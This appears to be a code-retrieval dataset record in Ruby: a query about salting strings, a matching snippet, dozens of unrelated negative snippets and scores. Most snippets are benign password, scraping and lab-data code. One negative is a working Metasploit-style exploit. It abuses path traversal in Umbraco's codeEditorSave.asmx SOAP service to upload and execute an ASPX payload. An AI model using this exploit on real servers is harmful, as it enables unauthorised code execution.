"def check_site\n\t\t\tpage = @agent.get(@page[:url])\n\t\t\traise \"got redirected on #{@page[:name]}\" if redirect?\n\n\t\t\tdoc = Nokogiri::HTML(page.parser.to_s)\n\t\t\tnodes_with_euros = doc.search(\"//text()[contains(.,'€')]\")\n\t\t\tcontainers_array = []\n\t\t\traise \"no euros found #{@page[:name]}\" if nodes_with_euros == []\n\n\t\t\t# Previous version was with ruby, now xpath, less code. \n\t\t\tcontainers_array = nodes_with_euros.collect { |node| node.ancestors(\"//table | //div\").first } unless @page[:search_string]\n\n\t\t\tif @page[:search_string]\n\t\t\t\t#remove escapes\n\t\t\t\t@page[:search_string].gsub!(/\\\\/) { ''}\n\t\t\t\tcontainers_array << doc.search(\"//text()[contains(.,#{@page[:search_string]})]\").first\n\t\t\tend\n\n\t\t\t#Nodeset is an array, but doesn't act like one, really annoying.\n\t\t\tcontainers_nodeset = Nokogiri::XML::NodeSet.new(doc)\n\t\t\tcontainers_freqs = containers_array.inject(Hash.new(0)) { |h,v| h[v] += 1; h}\n\t\t\t\n\t\t\t# Refactored from double block\n\t\t\tcontainers_nodeset = containers_freqs.collect { |node,freq| freq > 1 ? node : nil }\n\t\t\tcontainers_nodeset.uniq!\n\t\t\traise \"no hits found in #{@page[:name]}\" if (containers_nodeset.empty? || containers_nodeset == [nil])\n\n\t\t\twrite_to_file(containers_nodeset)\n\t\t\t\n\t\trescue Timeout::Error => e\n\t\t\t# Only occures when site is down or script runs too often. So we try again once, then bail\n\t\t\tretry if @retry\n\t\t\t@retry = false\n\t\t\traise\n\t\trescue => e\n\t\t\thandle_me(e)\n\t\tend",
"def filter(params)\n\n\t self.log << \"Started filtering cases\"\n\n\t\[email protected] do |adrc_case|\n\n\t\t self.log << {:message => \"packing #{adrc_case[:subject_id]}\"}\n\t\t vgroup = Vgroup.joins(\"LEFT JOIN enrollment_vgroup_memberships ON vgroups.id = enrollment_vgroup_memberships.vgroup_id\")\n\t\t \t\t\t\t.joins(\"LEFT JOIN scan_procedures_vgroups ON scan_procedures_vgroups.vgroup_id = vgroups.id\")\n\t\t \t\t\t\t.where(\"enrollment_vgroup_memberships.enrollment_id = ?\",Enrollment.where(:enumber => adrc_case[:enumber]).first.id)\n\t\t \t\t\t\t.where(\"scan_procedures_vgroups.scan_procedure_id = ?\",adrc_case[:scan_procedure].id)\n\t\t \t\t\t\t.first\n\n\n\t\t #does this vgroup have the right image datasets?\n\t\t visits = Visit.where(:appointment_id => vgroup.appointments.select{|item| item.appointment_type == 'mri'}.map(&:id))\n\t\t images = Jobs::NaccUpload::ImageDataset.where(:visit_id => visits.map(&:id)).select{|item| (@sdm_filter.map{|x| x.series_description.downcase}.include? item.series_description.downcase) and (item.series_description != 'DTI whole brain 2mm FATSAT ASSET')}\n\t\t ppt = vgroup.enrollments.first.participant\n\n\t # if we only have 2 different scan types, or the status flag for this case is 'R', fail the case\n\t series_description_counts = images.each_with_object(Hash.new(0)){|item,hash| hash[@sdm_filter.select{|sdm| sdm.series_description.downcase == item.series_description.downcase}.first.series_description_type_id] += 1}\n\t if series_description_counts.keys.count < 2\n\t \tself.exclusions << {:protocol => adrc_case[:scan_procedure].codename, :subject => adrc_case[:enumber], :message => \"too few scan types\"}\n\t \tnext\n\t end\n\n\t if adrc_case[:status_flag] == 'R'\n\t \tself.exclusions << {:protocol => adrc_case[:scan_procedure].codename, :subject => adrc_case[:enumber], :message => \"status is 'R' for this case\"}\n\t \tnext\n\t end\n\n\t #this case passes, so let's set it up for prep\n\n\t\t adrc_case[:case_dir] = \"#{adrc_case[:subject_id]}_#{vgroup.vgroup_date.strftime(\"%Y%m%d\")}_wisc\"\n\t\t adrc_case[:subject_dir] = \"#{params[:target_dir]}/#{adrc_case[:case_dir]}\"\n\t\t adrc_case[:participant] = ppt\n\n\t\t if !File.directory?(adrc_case[:subject_dir])\n\t\t Dir.mkdir(adrc_case[:subject_dir])\n\t\t end\n\n\t\t subject_subdirs = []\n\t adrc_case[:images] = []\n\n\t\t images.each do |image|\n\n\t\t \t#check that there's nothing rated \"severe\" or \"incomplete\" on the IQC checks for this image\n\t\t \tif image.passed_iqc?\n\n\t\t\t \tpath_parts = image.path.split(\"/\")\n\t\t\t \timage_target_dir = \"#{adrc_case[:subject_dir]}/#{path_parts.last}\"\n\n\t\t\t \tif subject_subdirs.include? image_target_dir\n\t\t\t \t\t#tack something on the end so that we don't overwrite\n\t\t\t \t\timage_target_dir = \"#{image_target_dir}_#{subject_subdirs.count}}\"\n\t\t\t \tend\n\n\t\t\t \tsubject_subdirs << image_target_dir\n\t\t \t\tadrc_case[:images] << {:path => File.realpath(image.path), :target_dir => image_target_dir}\n\t\t \tend\n\t\t end\n\n\t\t @driver << adrc_case\n\n\t\tend\n\n\t\tself.log << \"Filtering cases complete (#{@driver.count} new cases, #{self.exclusions.count} exclusions from processing)\"\n\tend",
"def exploit\r\n\r\n\t\t@peer = \"#{rhost}:#{rport}\"\r\n\r\n\t\t# Generate the ASPX containing the EXE containing the payload\r\n\t\texe = generate_payload_exe\r\n\t\taspx = Msf::Util::EXE.to_exe_aspx(exe)\r\n\r\n\t\t# htmlentities like encoding\r\n\t\taspx = aspx.gsub(\"&\", \"&\").gsub(\"\\\"\", \""\").gsub(\"'\", \"'\").gsub(\"<\", \"<\").gsub(\">\", \">\")\r\n\r\n\t\turi_path = target_uri.path\r\n\t\turi_path.path << \"/\" if uri_path[-1, 1] != \"/\"\r\n\r\n\t\t@upload_random = rand_text_alpha(rand(6) + 6)\r\n\r\n\t\tsoap = <<-eos\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n\t<soap:Body>\r\n\t\t<SaveDLRScript xmlns=\"http://tempuri.org/\">\r\n\t\t\t<fileName>/..\\\\..\\\\..\\\\umbraco\\\\#{@upload_random}.aspx</fileName>\r\n\t\t\t<oldName>string</oldName>\r\n\t\t\t<fileContents>#{aspx}</fileContents>\r\n\t\t\t<ignoreDebugging>1</ignoreDebugging>\r\n\t\t</SaveDLRScript>\r\n\t</soap:Body>\r\n</soap:Envelope>\r\n\t\teos\r\n\r\n\t\t#\r\n\t\t# UPLOAD\r\n\t\t#\r\n\r\n\t\tattack_url = uri_path + \"webservices/codeEditorSave.asmx\"\r\n\t\tprint_status(\"#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...\")\r\n\t\tprint_status(\"#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => attack_url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'text/xml; charset=utf-8',\r\n\t\t\t'headers'\t=> {\r\n\t\t\t\t\t'SOAPAction' => \"\\\"http://tempuri.org/SaveDLRScript\\\"\",\r\n\t\t\t\t},\r\n\t\t\t'data' => soap,\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_status(\"#{@peer} - Timeout: Trying to execute the payload anyway\")\r\n\t\telsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)\r\n\t\t\tprint_status(\"#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\telse\r\n\t\t\tprint_status(\"#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway\")\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# EXECUTE\r\n\t\t#\r\n\r\n\t\tupload_path = uri_path + \"#{@upload_random}.aspx\"\r\n\t\tprint_status(\"#{@peer} - Executing #{upload_path}...\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => upload_path,\r\n\t\t\t'method' => 'GET'\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_error(\"#{@peer} - Execution failed on #{upload_path} [No Response]\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\tif (res.code < 200 or res.code >= 300)\r\n\t\t\tprint_error(\"#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]\")\r\n\t\t\treturn\r\n\t\tend\r\n\r\n\t\t#\r\n\t\t# 'DELETE' - note that the file will remain on the system, but the content will be wiped.\r\n\t\t#\r\n\r\n\t\tsoap = <<-eos\r\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n\t<soap:Body>\r\n\t\t<SaveDLRScript xmlns=\"http://tempuri.org/\">\r\n\t\t\t<fileName>/..\\\\..\\\\..\\\\umbraco\\\\#{@upload_random}.aspx</fileName>\r\n\t\t\t<oldName>string</oldName>\r\n\t\t\t<fileContents></fileContents>\r\n\t\t\t<ignoreDebugging>1</ignoreDebugging>\r\n\t\t</SaveDLRScript>\r\n\t</soap:Body>\r\n</soap:Envelope>\r\n\t\teos\r\n\r\n\t\tattack_url = uri_path + \"webservices/codeEditorSave.asmx\"\r\n\t\tprint_status(\"#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...\")\r\n\t\tprint_status(\"#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx\")\r\n\r\n\t\tres = send_request_cgi({\r\n\t\t\t'uri' => attack_url,\r\n\t\t\t'method' => 'POST',\r\n\t\t\t'ctype' => 'text/xml; charset=utf-8',\r\n\t\t\t'headers'\t=> {\r\n\t\t\t\t\t'SOAPAction' => \"\\\"http://tempuri.org/SaveDLRScript\\\"\",\r\n\t\t\t\t},\r\n\t\t\t'data' => soap,\r\n\t\t}, 20)\r\n\r\n\t\tif (! res)\r\n\t\t\tprint_error(\"#{@peer} - Deletion failed at #{attack_url} [No Response]\")\r\n\t\t\treturn\r\n\t\telsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)\r\n\t\t\tprint_status(\"#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\telse\r\n\t\t\tprint_status(\"#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]\")\r\n\t\tend\r\n\t\thandler\r\n\tend",
"def get_pet_files(p_sp_id, p_tracer_id, p_vgroup_id)\n # ???? '1_asthana.adrc-clinical-core.visit1'=>'', '2_bendlin.tami.visit1'=>'', '1_bendlin.wmad.visit1'=>'','1_bendlin.mets.visit1'=> '', '2_bendlin.mets.visit1'=> ''\n # 2_ries.mosaic.visit1 3_ries.mosaic.visit1\n # tracer 1=pib, 2=fdg, 3=way, 4=015\n v_base_path = Shared.get_base_path()\n v_sp = ScanProcedure.find(p_sp_id)\n v_pet_target_path = \"\"\n if !v_sp.petscan_tracer_path.blank?\n v_tracer_path_array = v_sp.petscan_tracer_path.split(\"|\")\n v_tracer_path_array.each do |tr|\n v_tracer_path = tr.split(\":\")\n if v_tracer_path[0] == p_tracer_id.to_s\n v_pet_target_path = v_tracer_path[1]\n end\n end\n end\n #v_key = p_tracer_id.to_s+\"_\"+v_sp.codename\n v_file_names = []\n if !v_pet_target_path.blank? #v_pet_target_hash[v_key].blank?\n v_path = v_base_path+\"/raw/\"+v_pet_target_path+\"/\" #v_pet_target_hash[v_key]+\"/\"\n # check for file with enum \n vgroup = Vgroup.find(p_vgroup_id)\n (vgroup.enrollments).each do |e| # need case insensitive match \n if !Dir.glob(v_path+e.enumber+\"*\", File::FNM_CASEFOLD).empty? or !Dir.glob(v_path+\"*\"+e.enumber[1..-1]+\"*.img\", File::FNM_CASEFOLD).empty?\n v_cnt = 0\n Dir.glob(v_path+e.enumber+\"*\", File::FNM_CASEFOLD).each do |f|\n v_file_names.push(f.gsub(v_path,\"\"))\n v_cnt = v_cnt + 1\n end \n if v_cnt < 1\n Dir.glob(v_path+\"*\"+e.enumber[1..-1]+\"*.img\", File::FNM_CASEFOLD).each do |f|\n v_file_names.push(f.gsub(v_path,\"\"))\n v_cnt = v_cnt + 1\n end\n end\n #elsif (!Dir.glob(v_path+e.enumber.upcase+\"*\").empty? or !Dir.glob(v_path+\"*\"+e.enumber[1..-1].upcase+\"*.img\").empty?) and 1==2\n # v_cnt = 0\n # Dir.glob(v_path+e.enumber.upcase+\"*\").each do |f|\n # v_file_names.push(f.gsub(v_path,\"\"))\n # v_cnt = v_cnt + 1\n # end \n # if v_cnt < 1\n # Dir.glob(v_path+\"*\"+e.enumber[1..-1].upcase+\"*.img\").each do |f|\n # v_file_names.push(f.gsub(v_path,\"\"))\n # v_cnt = v_cnt + 1\n # end\n # end\n # else \n end\n end\n else\n #puts \"AAAAAAAAA \"+v_key+\" no path for sp in hash\"\n end\n return v_file_names\n end",
"def contactLIMS()\n cmd = \"perl \" + @limsScript + \" \" + @fcName.to_s + \"-\" + @laneBarcode\n puts cmd\n output = `#{cmd}`\n puts output\n exitCode = $?\n\n if output.downcase.match(/error/)\n handleError(output)\n end\n\n tokens = output.split(\";\")\n\n tokens.each do |token|\n if token.match(/FLOWCELL_TYPE=/)\n findFCType(token)\n elsif token.match(/Library=/)\n parseLibraryName(token)\n elsif token.match(/Sample=/)\n parseSampleName(token)\n elsif token.match(/ChipDesign=/)\n parseChipDesignName(token)\n elsif token.match(/NUMBER_OF_CYCLES_READ1=/)\n findNumCycles(token)\n elsif token.match(/NUMBER_OF_CYCLES_READ2=/)\n findNumCycles(token)\n elsif token.match(/BUILD_PATH=/)\n parseReferencePath(token)\n end\n end\n end",
"def access_denied\n [ 403, {'Content-Type' => 'text/plain', 'Content-Length' => '14'},\n ['Access denied.'] ]\n end",
"def request_placeholder\n \"JIRA Number: HIANDEV-XXXX\nSolution: HealtheAnalytics\nTest Date: 10-May-2017\nEnvironment: Staging\nOperating System: OS-X\nAssociate ID: AA00000\nPrerequisite Evidence: N/A\"\n end"
] |
[
"0.532571",
"0.5169407",
"0.50479865",
"0.492319",
"0.49083412",
"0.48427543",
"0.48385376",
"0.4819718",
"0.48158404",
"0.48098293",
"0.4809543",
"0.48016503",
"0.4788314",
"0.47648573",
"0.475823",
"0.47450566",
"0.47020563",
"0.4698825",
"0.46755555",
"0.46534356",
"0.4649372",
"0.4638901",
"0.459245",
"0.45854765",
"0.4566783",
"0.4564893",
"0.45514953",
"0.4535548",
"0.45231745",
"0.4520766",
"0.45186782",
"0.4515181",
"0.45141384",
"0.45027277",
"0.4499015",
"0.44752046",
"0.4467033",
"0.4458937",
"0.4443065",
"0.4442755",
"0.44340387",
"0.44325158",
"0.44325158",
"0.44316128",
"0.44228444",
"0.44218105",
"0.44093725",
"0.4402686",
"0.43970516",
"0.43925408",
"0.4385469",
"0.4380254",
"0.43759513",
"0.43745416",
"0.43743196",
"0.43661502",
"0.43634683",
"0.43505746",
"0.43448463",
"0.434207",
"0.43366",
"0.43279445",
"0.43140244",
"0.430966",
"0.43011537",
"0.4298768",
"0.42978194",
"0.42879942",
"0.42753375",
"0.42752355",
"0.42748663",
"0.42661887",
"0.42555577",
"0.42543158",
"0.42523134",
"0.42454612",
"0.42398363",
"0.42392838",
"0.42345762",
"0.42333117",
"0.4233219",
"0.4228034",
"0.42233452",
"0.4221781",
"0.42196563",
"0.42195708",
"0.42184797",
"0.4216819",
"0.42167392",
"0.42165944",
"0.42143664",
"0.4213343",
"0.4212826",
"0.42125642",
"0.4210028",
"0.42007932",
"0.41950747",
"0.4191996",
"0.41878977",
"0.41875413",
"0.41874942"
] |
0.0
|
-1
|
split strings to salt
|
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def salt() 'monkeynutzzSfaKT7CwImCHCH8Ow' end",
"def salt_password( password )\n case placement.to_sym\n when :end\n password.to_s + string\n when :beginning\n string + password.to_s\n when :split\n string[0...(string.length/2).floor] + password.to_s + string[(string.length/2).floor...string.length]\n else\n raise RuntimeError, \"#{placement.to_s} is an invalid salt placement.\"\n end\n end",
"def get_salt\n [Array.new(6){rand(256).chr}.join].pack(\"m\" ).chomp\n end",
"def split_hash(h)\n n, v, r, salt, hash = h.split('$')\n [[n, v, r].join('$') + '$', salt, hash]\n end",
"def split_hash(h)\n n, v, r, salt, hash = h.split('$')\n return [n, v, r].join('$') + \"$\", salt, hash\n end",
"def create_salt()\n size=10\n pool = ('a'..'z').to_a + ('0'..'9').to_a\n self.salt= (1..size).collect{|a| pool[rand(pool.size)]}.join\n end",
"def gen_salt\n chars = []\n 8.times { chars << SALT_CHARS[SecureRandom.random_number(SALT_CHARS.size)] }\n chars.join('')\n end",
"def mutate_bcrypt_salt(_)\n 'au6lOASvp17AGsqkmE7'\n end",
"def make_salt\n secure_hash(\"#Time.now.utc}--#{password}\")\n end",
"def make_salt\n\t secure_hash(\"#{Time.now.utc}--#{password}\")\n\tend",
"def authenticatable_salt; end",
"def authenticatable_salt\n encrypted_password[0,29] if encrypted_password\n end",
"def make_salt\n secure_hash(\"#{Time.now.utc}--#{password}\")\n end",
"def make_salt\n secure_hash(\"#{Time.now.utc}--#{password}\")\n end",
"def authenticatable_salt\n end",
"def create_new_salt\n self.password_salt = [Array.new(6){rand(256).chr}.join].pack(\"m\").chomp\n end",
"def gen_salt\n chars = []\n 8.times { chars << SALT_CHARS[rand(SALT_CHARS.size)] }\n chars.join('') \n end",
"def generate_salt\n salt = \"\"\n 64.times { \n salt << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }\n salt\n end",
"def password_salt\n \"choujin-steiner\"\n end",
"def make_salt\n secure_hash(\"#{Time.now.utc}--#{password_digest}\")\n end",
"def rand_salt\n result = ''\n salt().length.times {result << salt()[rand(salt().length),1]}\n result\n end",
"def make_salt\r\n self.salt = sha_hash(\"#(Time.now.to_s)--#(self.password)\")\r\n end",
"def remove_salt(possibly_salted)\n possibly_salted.include?(\"::::\") ? possibly_salted.split(\"::::\")[1] : possibly_salted\n end",
"def salt\n # 72 bits\n SecureRandom.hex(9)\n end",
"def code_salt\n 'fbbc13ed4a51e27608037365e1d27a5f992b6339'\n end",
"def salt\n p_salt(profile.salt_bytes)\n end",
"def get_crypto_salt_hex\n return @crypto_salt if ! @crypto_salt\n @crypto_salt.unpack(\"H*\")\n end",
"def authenticatable_salt\n return if encrypted_password_digest.blank?\n Encryption::PasswordVerifier::PasswordDigest.parse_from_string(\n encrypted_password_digest,\n ).password_salt\n end",
"def generate_salt\n self.salt = SecureRandom.base64(8)\n end",
"def salt!\n returning self.class.generate_salt do |s|\n write_attribute(:salt, s)\n end\n end",
"def encrypt(password)\n\tsplit_string = string.password(//)\n\tsplit_string.each do |letter|\n\t\tletter.next\n\tend\n\nend",
"def salt\n nil\n end",
"def encode_pass_word val\n Sequel.lit \"\\ncrypt(\\n?\\n, gen_salt('bf', 13))\", val\n end",
"def authenticatable_salt\n self.encrypted_password[0,29] if self.encrypted_password\n end",
"def salt_password( authkey, password )\n combined = authkey.to_s + password.to_s\n return Digest::MD5.hexdigest(combined)\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def decode(joined_password)\n joined_password.gsub!(\"ashley\", \" \")\n joined_password.gsub!(\"blake\", \"e\")\n new_password_array = joined_password.split(\" \")\n password_array = []\n password_array[1] = new_password_array[1]\n password_array[0] = new_password_array.last\n password_array[3] = new_password_array.first\n password = password_array.compact.join(\"_\")\n password = password.to_sym\nend",
"def salt\n read_attribute(:salt) or returning self.class.generate_salt do |s|\n write_attribute(:salt, s)\n end\n end",
"def calculate_auth_string( salt, user )\n return hash( salt, @creds[user] )\n end",
"def init_salt\n self.salt = SecureRandom.hex(25) if self.salt.blank?\n end",
"def decoder\n joined_password = \"intblakernblaketsashleythblakeashleyall\"\n joined_password.gsub!(\"ashley\", \" \")\n joined_password.gsub!(\"blake\", \"e\")\n new_password_array = joined_password.split\n #[\"internets\", \"the\", \"all\"] \n #new_password_array.compact!\n #the compact doesn't do anything, it returned nil, so i'm taking this step out\n password_array = []\n password_array[0] = new_password_array[2]\n password_array[1] = new_password_array[1]\n password_array[2] = new_password_array[0]\n pass_as_string = password_array.join(\"_\")\n password = pass_as_string.to_sym\nend",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\") \n\tend",
"def split_secret\n counter = 0\n while counter < @secret_word.length\n @secret_array << @secret_word[counter]\n counter += 1\n end\n @secret_array\n end",
"def create_new_salt \n self.password_salt = self.object_id.to_s + rand.to_s\n end",
"def token_and_salt\n today_string = Time.now.to_date.to_s\n return token_with_salt(today_string), today_string\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def create_new_salt\n\t\tself.salt = self.object_id.to_s + rand.to_s\n end",
"def create_salt\n d = Digest::SHA1.new\n now = Time.now\n d.update(now.to_s)\n d.update(String(now.usec))\n d.update(String(rand(0)))\n d.update(String($$))\n d.update('wxtengu.net')\n d.hexdigest\n end",
"def get_salt\n @salt ||= BCrypt::Engine.generate_salt\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def generate_salt\n Digest.hexencode(Digest::SHA1.digest(\n \"#{rand(2 ** 128) * ( Time.now.to_i * Process.pid)}\"))\n end",
"def create_new_salt\n self.salt = Digest::SHA256.hexdigest(Time.now.to_s + rand.to_s)\n end",
"def create_new_salt\n self.salt = Digest::SHA256.hexdigest(Time.now.to_s + rand.to_s)\n end",
"def crypt( string )\n string.crypt( self.salt )\n end",
"def salted_name\n [api_name,rand_salt].join('--')\n end",
"def create_salt\n\t\t\tself.password_seed = self.object_id.to_s + rand.to_s\n\t\tend",
"def create_new_salt\n self.salt = self.object_id.to_s + rand.to_s\n end",
"def create_new_salt\n self.salt = self.object_id.to_s + rand.to_s\n end",
"def password_clean\n crypted_password.decrypt(salt)\n end",
"def salt\n if salt_path.file?\n salt_path.read\n else\n @salt ||= SecureRandom.bytes(Sia::Lock::DIGEST.new.digest_length)\n end\n end",
"def broad_sword\n # use regexp since .. is used for wildcard\n Regexp.new s_to_h(<<-S)\n B1 96 B1 D3 ED AE 5F 92 F4 65 03 01 .. FF FF FF\n FF .. .. .. .. 23 19 01 0B 00 00 00 00 08 00 00\n 00 2A 00 00 00 00 00 00 00 02 00 00 00 00 00 00\n 00 02 00 00 00 02 00 00 00 99 32 C5 C4 CC 57 6D\n 43 87 6B 03 01 FF FF FF FF 99 32 C5 C4 CC 57 6D\n 43 27 9E 00 01 FF FF FF FF 01 00 00 00 99 32 C5\n C4 CC 57 6D 43 27 9E 00 01 FF FF FF FF 13 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00\n 00\n S\nend",
"def generate_salt\n self.salt = self.object_id.to_s + rand.to_s\n end",
"def get_machine_kerberos_salt\n host = simple.client.default_name\n return ''.b if host.nil? || host.empty?\n domain = simple.client.dns_domain_name\n \"#{domain.upcase}host#{host.downcase}.#{domain.downcase}\".b\n end",
"def generate_salt\n @salt = self.object_id.to_s + rand.to_s\n end",
"def split(secret_string, share_threshold, num_shares)\n secret_int = Charset::ASCIICharset.s_to_i(secret_string)\n\n Polynomial.points_from_secret(\n secret_int,\n share_threshold,\n num_shares\n )\n end",
"def calc_x(username, password, salt)\n spad = if salt.length.odd? then '0' else '' end\n sha1_hex(spad + salt + sha1_str([username, password].join(':'))).hex\n end",
"def salt\n read_attribute(:salt) || reset_salt\n end",
"def generate_salt\n salt_time = (ENV['RACK_ENV'] == 'test' ? 0.01 : 1.25)\n self[:salt] = SCrypt::Engine.generate_salt(max_time: salt_time)\n end",
"def split_hash(h)\n _, v, c, mash = h.split('$')\n return v.to_str, c.to_i, h[0, 29].to_str, mash[-31, 31].to_str\n end",
"def encode(password)\n #password started as a symbol\n pass_as_string = password.to_s\n password_array = pass_as_string.split(\"_\")\n new_password_array = []\n new_password_array[0] = password_array.last\n new_password_array[3] = password_array.first\n #done\n new_password_array[1] = password_array[1]\n #done\n new_password_array.compact!\n joined_password = new_password_array.join(\" \")\n #join turns password into an array\n joined_password.gsub!(\"e\", \"blake\")\n joined_password.gsub!(\" \", \"ashley\")\n joined_password\n puts joined_password\nend",
"def salt=(value)\n @@salt = value\n end",
"def salt\n @@salt ||= SALT\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def encrypt(string)\n secure_hash(\"#{salt}--#{string}\")\n end",
"def encrypt(string)\n\t#store passwords with the timestamp first, then password (encrpyted)\n secure_hash(\"#{salt}--#{string}\")\n\t#Since weíre inside the User class, Ruby knows that salt refers to the userís salt attribute.\n end",
"def generate_salts\n @verify_salt = OpenSSL::Random.random_bytes(KEYLEN)\n @encrypt_salt = OpenSSL::Random.random_bytes(KEYLEN)\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def digest(string, options = {})\n salt = options[:salt] || SecureRandom.base64\n Digest::SHA1.hexdigest(\"#{salt}--#{string}\")\n end",
"def to_sha256(salt = \"\")\n hashsum(:sha256, salt)\n end",
"def authenticatable_salt\n read_attribute(:authenticatable_salt)\n end",
"def salted_password\n @salted_password ||= CredentialCache.cache(cache_key(:salted_password)) do\n hi(user.sasl_prepped_password)\n end\n end",
"def calc_x(username, password, salt)\n sha512_hex(salt + sha512_str([username, password].join(':'))).hex\n end",
"def encrypt_arguments(raw_password, check_against_database)\n salt = nil\n if password_salt_field\n salt =\n if check_against_database && send(\"will_save_change_to_#{password_salt_field}?\")\n send(\"#{password_salt_field}_in_database\")\n else\n send(password_salt_field)\n end\n end\n [raw_password, salt].compact\n end",
"def salt\n @salt ||= Pharos::SaltMinion.new minion_id: hostname\n end",
"def check_valid(secret)\r\n\[email protected] = secret\r\n\tsarray = []\r\n\ti = 0\r\n\tsecret.split('').each do|c| \r\n\t\tsarray[i] = c\r\n\t\ti=i+1\r\n\tend\r\nend",
"def crypt3(password, salt = nil)\n characters = [ (\"A\" .. \"Z\").to_a, (\"a\" .. \"z\").to_a, (0 .. 9).to_a, \".\", \"/\" ].flatten\n if salt.nil?\n salt = \"\"\n 1.upto(8) { |index| salt = [salt, characters[rand(characters.length)].to_s].join }\n end\n encrypt = UnixCrypt::MD5.build(password, salt)\n return [\"{CRYPT}\", encrypt].join\n end",
"def break_up\n\t@pass_arr = @pass.chars.each_slice(4).map(&:join)\nend",
"def encrypt(str)\n index = 0 \n secret_password = \" \"\n while index < str.length\n secret_password[index] = str[index].next\n index += 1\n end\n secret_password\nend",
"def salt_path\n safe_dir / options[:salt_name]\n end",
"def make_password(phrase)\n phrase.split(\" \").map do |x|\n x = x[0]\n x = \"1\" if x == \"i\" || x == \"I\"\n x = \"0\" if x == \"o\" || x == \"O\"\n x = \"5\" if x == \"s\" || x == \"S\"\n x\n end.join()\nend",
"def create_new_salt\n\t\t(self.salt = self.object_id.to_s + rand.to_s) if self.salt.nil?\n\tend",
"def split_bits(bitstring)\n i = 0\n @long_bitstring = \"\"\n @lat_bitstring = \"\"\n while i < bitstring.length\n if i % 2 == 0\n @long_bitstring += bitstring[i]\n else\n @lat_bitstring += bitstring[i]\n end\n i += 1 \n end\n return @long_bitstring\n return @lat_bitstring\n end",
"def split_hash(h)\n b, v, c, mash = h.split('$')\n return v, c.to_i, h[0, 29].to_str, mash[-31, 31].to_str\n end",
"def split_login(str)\n login = []\n # search from the right so we don't pick out ampersands in a\n # password or username\n if i = str.rindex(?@)\n login << str[i+1..-1]\n if 0 < i\n str = str[0..i-1]\n i = str.index(?:)\n if 0 == i\n login << '' << str[i+1..-1]\n elsif i\n login << str[0..i-1] << str[i+1..-1]\n else\n login << str\n end\n else\n login << ''\n end\n else\n login << str\n end\n if login.first.sub!(/:(\\d+)$/,'')\n login << $1.to_i\n else\n login << nil\n end\nend",
"def token_with_salt(salt)\n Digest::SHA256.hexdigest(CommentToolApp::Application.config.secret_token + salt)\n end",
"def hash(password, salt)\n Digest::SHA512.hexdigest(\"#{ password }:#{ salt }\")\n end",
"def generate_token(pass, salt)\n Digest::SHA256.hexdigest(pass + salt)\n end",
"def make_pw_hash(pw, salt = nil)\n salt = make_salt unless salt\n BCrypt::Password.create(pw + salt) + ',' + salt\n end",
"def serialize(hash, salt)\n hash + salt\n end",
"def passwords\n @passwords ||= STDIN.read.split(\"\\n\").map do |password|\n a, b, c = password.split\n {\n position_1: a.split(\"-\").first.to_i,\n position_2: a.split(\"-\").last.to_i,\n letter: b.chars.first,\n password: c\n }\n end\nend"
] |
[
"0.70908123",
"0.6879588",
"0.6723357",
"0.6566835",
"0.6509686",
"0.63802135",
"0.63612014",
"0.6315344",
"0.62775445",
"0.624284",
"0.6232458",
"0.622548",
"0.61577934",
"0.61577934",
"0.614679",
"0.61445266",
"0.61425406",
"0.6126635",
"0.6067919",
"0.60339844",
"0.60331196",
"0.60139984",
"0.6004744",
"0.60015446",
"0.5992671",
"0.5917164",
"0.58958817",
"0.5785417",
"0.5780735",
"0.57334346",
"0.5730058",
"0.5721668",
"0.57130927",
"0.57049924",
"0.5657464",
"0.56537306",
"0.5644323",
